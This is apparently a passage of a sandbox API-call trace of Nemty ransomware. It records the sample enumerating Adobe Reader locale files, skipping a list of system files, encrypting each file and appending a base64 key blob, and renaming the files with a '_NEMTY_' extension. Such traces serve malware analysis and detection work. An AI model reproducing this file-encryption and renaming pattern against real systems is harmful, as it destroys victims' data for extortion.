RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0174.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0174.999] Sleep (dwMilliseconds=0x5) [0175.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bf6a6d0, dwHighDateTime=0x1d561e8)) [0175.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bf6a6d0, dwHighDateTime=0x1d561e8)) [0175.014] GetLastError () returned 0x0 [0175.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.014] GetLastError () returned 0x0 [0175.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0175.014] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.014] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.014] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0175.015] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="M15ooZHEt6ZI37jIjcDV62WjY32yqN7FmBpW5dpmLoB7frkPp5s8hphSnxwE1ss9\r\ngMEocK96+8Iv0MikJNEMz0RjUTvkz6pPtWvB1FIfAEEKCmXkHVIUnzCuX0YbXTQp\r\nVfXfofc85XQWN3OUe9aEHOfxXTitQR4KWedAun13Wo2Ptjtk8Bs+gwhD1QUbMzpy\r\numbYLbgiT7o4RNg6bRqprUMEL900Dh7H+aZYPmT3cswfgZXRpAVwYuPPe8k/vx+0\r\n5ADVwC5dwKsYAEk/VrYxoUi716LxieG+tMq/DUbUFkoy2oVyDFw/mKxqQLSEZOhZ\r\nPNR6fFuMENTEBeUMRCbbxw==\r\n", pcchString=0x653e5dc) returned 1 [0175.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0175.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0175.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0175.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.015] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\AdobeCollabSync.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\adobecollabsync.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.016] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0175.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0175.016] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.016] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0175.018] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.018] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0175.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.018] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0175.018] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.018] CloseHandle (hObject=0x2e8) returned 1 [0175.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0175.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0175.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0175.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0175.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0175.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0175.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0175.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0175.018] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\AdobeCollabSync.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\adobecollabsync.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\AdobeCollabSync.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\adobecollabsync.deu._nemty_kgobjgd_")) returned 1 [0175.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0175.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0175.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0175.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.019] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.DEU", cAlternateFileName="")) returned 1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2=".") returned 1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2="..") returned 1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2="...") returned 1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2="windows") returned -1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2="rsa") returned -1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2="NTDETECT.COM") returned -1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2="ntldr") returned -1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2="MSDOS.SYS") returned -1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2="IO.SYS") returned -1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2="boot.ini") returned -1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2="boot.ini") returned -1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2="AUTOEXEC.BAT") returned -1 [0175.019] lstrcmpiW (lpString1="Annots.DEU", lpString2="ntuser.dat") returned -1 [0175.020] lstrcmpiW (lpString1="Annots.DEU", lpString2="desktop.ini") returned -1 [0175.020] lstrcmpiW (lpString1="Annots.DEU", lpString2="CONFIG.SYS") returned -1 [0175.020] lstrcmpiW (lpString1="Annots.DEU", lpString2="RECYCLER") returned -1 [0175.020] lstrcmpiW (lpString1="Annots.DEU", lpString2="BOOTSECT.BAK") returned -1 [0175.020] lstrcmpiW (lpString1="Annots.DEU", lpString2="bootmgr") returned -1 [0175.020] lstrcmpiW (lpString1="Annots.DEU", lpString2="programdata") returned -1 [0175.020] lstrcmpiW (lpString1="Annots.DEU", lpString2="appdata") returned -1 [0175.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DEU", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DEU", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DEU", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DEU", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.020] Sleep (dwMilliseconds=0x5) [0175.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bf90830, dwHighDateTime=0x1d561e8)) [0175.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bf90830, dwHighDateTime=0x1d561e8)) [0175.030] GetLastError () returned 0x0 [0175.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.030] GetLastError () returned 0x0 [0175.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.030] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.030] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.030] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.030] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="BIabadj/UmTiACHlBTTvYwZ2uOZHtTQ8ZC+lgtvnKqkNTm/t8fv5uNtKmlSqD424\r\n1Amy1r0S0jAZMS9zmHAafFWf9yIqdRW/xn5iQRiqsiB+LqHe+1pkAXfT1W74gSDL\r\nPo4Y6zEIF+0xhH0Q2S+XDJRxi1cDmQm94Hjpo7nv5VkBupf57akZJ64QJF0Ygtxa\r\noduBO45DE5LW+fCgY/j818XETnXTBDGmrQ29P0yOvmmesc4krz8RBKfEAxudu+UL\r\nfLQ77++0/R9NCcW2h+3QrNnUyIYLJBz14NZko81+Lkyn5u73c/v9C9j9YKS9H3GU\r\neNDJul9CA6OEARTdwQOonA==\r\n", pcchString=0x653e5dc) returned 1 [0175.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Annots.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\annots.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.032] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=526848) returned 1 [0175.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0175.032] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.032] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0175.041] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.041] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0175.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.041] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=526848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80a00 [0175.041] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.043] CloseHandle (hObject=0x2e8) returned 1 [0175.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0175.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.043] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Annots.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\annots.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Annots.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\annots.deu._nemty_kgobjgd_")) returned 1 [0175.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0175.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.045] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.DEU", cAlternateFileName="BRDLAN~1.DEU")) returned 1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2=".") returned 1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="..") returned 1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="...") returned 1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="windows") returned -1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="rsa") returned -1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="NTDETECT.COM") returned -1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="ntldr") returned -1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="MSDOS.SYS") returned -1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="IO.SYS") returned -1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="boot.ini") returned 1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="boot.ini") returned 1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="ntuser.dat") returned -1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="desktop.ini") returned -1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="CONFIG.SYS") returned -1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="RECYCLER") returned -1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="bootmgr") returned 1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="programdata") returned -1 [0175.045] lstrcmpiW (lpString1="BRdlang32.DEU", lpString2="appdata") returned 1 [0175.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.046] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.046] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DEU", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.DEU", lpUsedDefaultChar=0x0) returned 13 [0175.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.046] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.046] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DEU", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.DEU", lpUsedDefaultChar=0x0) returned 13 [0175.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.046] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 